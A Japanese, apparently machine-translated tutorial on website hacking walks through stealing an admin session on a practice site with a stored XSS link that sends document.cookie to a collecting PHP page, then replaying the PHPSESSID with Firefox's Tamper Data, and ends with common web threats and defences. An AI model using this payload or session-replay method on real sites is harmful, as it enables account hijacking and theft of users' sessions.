ウェブサイトをハッキングする方法?サイトハッキングのテクニック
⚡ スマートサマリー
ウェブサイトのハッキングは、ウェブアプリケーションの脆弱性(不適切なコード、サニタイズされていない入力、脆弱なセッション処理など)を悪用して、不正アクセスを試みます。このページでは、一般的な攻撃手法と、より重要な対策として、ウェブサイトのセキュリティを維持するための方法を紹介します。

かつてないほど多くの人がインターネットにアクセスできるようになりました。 このため、多くの組織は、ユーザーが組織と対話するためにオンラインで使用できる Web ベースのアプリケーションを開発するようになりました。 Web アプリケーション用に適切に記述されていないコードが悪用されて、機密データや Web サーバーに不正にアクセスされる可能性があります。
ウェブサイトへの一般的なハッキング手法と、そのような攻撃から身を守るための対策について学びます。
ウェブサイトをハッキングする方法
この Web サイト ハッキングの実践的なシナリオでは、次の場所にある Web アプリケーションのユーザー セッションをハイジャックします。 www.techpanda.orgクロスサイトスクリプティングを使用してCookieセッションIDを読み取り、それを使用して正当なユーザーセッションになりすまします。
攻撃者はWebアプリケーションへのアクセス権を持ち、同じアプリケーションを使用している他のユーザーのセッションを乗っ取ろうとしているという前提に基づいています。攻撃者のアクセスアカウントが制限付きアカウントであると仮定すると、この攻撃の目的はWebアプリケーションへの管理者権限を取得することにあると考えられます。
ステップ1) 開く URL http://www.techpanda.org/.
練習目的であれば、SQLインジェクションを使用してアクセス権を取得することを強くお勧めします。 SQLインジェクションに関するこの記事 その方法について詳しくは、
ステップ2)ログイン情報を入力してください。
ログイン用のメールアドレスは admin@google.com、パスワードは Password2010 です。
ステップ3)ダッシュボードを確認します。
ログインに成功すると、以下のダッシュボードが表示されます。
ステップ4)新しいコンテンツを入力します。
「新しい連絡先を追加」をクリックし、名として以下を入力してください。
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
ステップ 5) 追加 Java脚本。
上記のコードは Javaスクリプト。onclick イベントを持つハイパーリンクを追加します。何も知らないユーザーがリンクをクリックすると、イベントが取得されます。 PHPクッキーセッションID そして、セッション ID とともに snatch_sess_id.php ページに送信します。 URL.
ステップ6)詳細を追加する。
下記に示されている残りの詳細を入力し、「変更を保存」をクリックしてください。
ステップ7)ダッシュボードを確認します。
ダッシュボードは次の画面のようになります。
ステップ8)セッションIDを確認します。
クロスサイトスクリプトはデータベースに保存されているため、アクセス権限を持つユーザーがログインするたびに読み込まれます。管理者がログインして「Dark」と書かれたハイパーリンクをクリックすると、セッションIDが表示されたウィンドウが表示されます。 URL.
注:スクリプトは、PHPSESSIDが保存されているリモートサーバーに値を送信し、何も起こらなかったかのようにユーザーをリダイレクトする可能性があります。
注:実際に得られる値はここに表示されている値と異なる場合がありますが、概念は同じです。
セッション偽装を使用する Firefox およびタンパーデータアドオン
注:下記に示す従来のTamper Dataアドオンは、現在のバージョンではインストールできなくなりました。 Firefoxしかし、それが示す概念、つまりHTTPリクエストを傍受して変更し、キャプチャしたセッションを再生するという概念は変わっていません。
以下のフローチャートは、この演習を完了するために実行する必要がある手順を示しています。
- あなたが必要となります Firefox このセクションにはウェブブラウザとTamper Dataアドオンが必要です。
- 店は開いています Firefox そして、以下の図に示すようにアドオンをインストールしてください。
- 改ざんデータを検索し、上記のように「インストール」をクリックしてください。
- 「同意してインストール…」をクリックします。
- インストールが完了したら、「今すぐ再起動」をクリックしてください。
- のメニューバーを有効にする Firefox 表示されていない場合。
- 「ツール」メニューをクリックし、下図のように「改ざんデータ」を選択します。
- 以下のウィンドウが表示されます。注:ウィンドウが空でない場合は、「クリア」ボタンをクリックしてください。
- 「改ざん防止ツールの開始」メニューをクリックしてください。
- 元に戻す Firefox ウェブブラウザを開き、http://www.techpanda.org/dashboard.php と入力して、Enterキーを押してページを読み込んでください。
- Tamper Dataから以下のポップアップが表示されます。
- ポップアップウィンドウには3つのオプションがあります。「改ざん」オプションを使用すると、HTTPヘッダー情報をサーバーに送信する前に変更できます。
- クリックして。
- 次のウィンドウが表示されます。
- 攻撃からコピーしたPHPセッションIDをコピーします URL そして、それを等号の後に貼り付けてください。これで、値は次のようになります。
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- [OK]ボタンをクリックします。
- 改ざんデータに関するポップアップウィンドウが再び表示されます。
- 「改ざんを続行しますか?」というチェックボックスをオフにします。
- 完了したら送信ボタンをクリックしてください。
- 以下のようなダッシュボードが表示されるはずです。
注:実際にはログインしていません。クロスサイトスクリプティングを使用して取得したPHPSESSID値を用いて、ログインセッションを偽装しました。
Web アプリケーションとは何ですか? Web の脅威とは何ですか?
Webアプリケーション(Webサイトとも呼ばれる)は、クライアント/サーバーモデルに基づいたアプリケーションです。サーバーはデータベースアクセスとビジネスロジックを提供します。Webサーバー上でホストされます。クライアントアプリケーションはクライアントのWebブラウザ上で実行されます。Webアプリケーションは通常、次のような言語で記述されます。 Java、C#、VB.Net、 PHP、ColdFusion Markup Languageなど。Webアプリケーションで使用されるデータベースエンジンには、 MySQL、MS SQL サーバー、 PostgreSQL, SQLite, etc.
ウェブサイトのトップハッキング手法
ほとんどのウェブアプリケーションはパブリックドメインでホストされています サーバ インターネット経由でアクセス可能であるため、容易にアクセスできることから攻撃を受けやすい。以下は、一般的なWebアプリケーションの脅威である。
- SQLインジェクション – この脅威の目的は、ログイン アルゴリズムを回避したり、データを破壊したりすることなどである可能性があります。
- サービス拒否 攻撃 この脅威の目的は、正当なユーザーによるリソースへのアクセスを阻止することにある可能性がある。
- クロスサイトスクリプティング(XSS) この脅威の目的は、クライアント側のブラウザ上で実行可能なコードを注入することである可能性がある。
- Cookie/セッションポイズニング – この脅威の目的は、攻撃者が Cookie/セッション データを変更して不正アクセスを取得することです。
- フォームの改ざん – この脅威の目的は、攻撃者が商品を割引価格で入手できるように、電子商取引アプリケーションの価格などのフォーム データを変更することです。
- Code 注射 – この脅威の目的は、PHP などのコードを挿入することです。 Pythonなど、サーバー上で実行できます。このコードにより、バックドアがインストールされたり、機密情報が漏洩したりする可能性があります。
- 汚損 この脅威の目的は、ウェブサイトに表示されているページを改変し、すべてのページリクエストを攻撃者のメッセージを含む単一のページにリダイレクトすることです。
ウェブサイトをハッキングから守るにはどうすればよいですか?
組織は、Web サーバー攻撃から自身を保護するために、次のポリシーを採用できます。
- SQLインジェクション – ユーザーパラメータをデータベースに送信する前にサニタイズおよび検証することで、SQLインジェクションによる攻撃を受ける可能性を減らすことができます。MS SQL Serverなどのデータベースエンジンでは、 MySQLなどは、パラメータとプリペアドステートメントをサポートしています。これらは、従来のSQLステートメントよりもはるかに安全です。
- サービス拒否攻撃 ファイアウォールは、単純なDoS攻撃の場合、疑わしいIPアドレスからのトラフィックを遮断するために使用できます。ネットワークの適切な構成と侵入検知システムも、DoS攻撃が成功する可能性を低減するのに役立ちます。
- クロスサイトスクリプティング – ヘッダー、パラメータの検証とサニタイズ URLフォームパラメータや隠し値は、XSS攻撃を減らすのに役立ちます。
- Cookie/セッションポイズニング これは、Cookieの内容を暗号化したり、一定時間後にCookieをタイムアウトさせたり、Cookieを生成に使用されたクライアントIPアドレスに関連付けたりすることで防止できます。
- フォームの改ざん これは、ユーザー入力を処理する前に検証および確認を行うことで防止できます。
- Code 注射 これは、すべてのパラメータを実行可能なコードではなくデータとして扱うことで防止できます。サニタイズと検証を用いることでこれを実現できます。
- 汚損 – 良い Webアプリケーションのセキュリティ ポリシーは、Web サーバーにアクセスするために一般的に使用される脆弱性を封じることを保証する必要があります。これには、オペレーティングシステム、Web サーバー ソフトウェアの適切な構成、および開発時のベスト セキュリティ プラクティスが含まれます。ping Webアプリケーション。
これをチェックして: 9ベスト URL リンクがマルウェアから安全かどうかを確認するためのスキャナー


















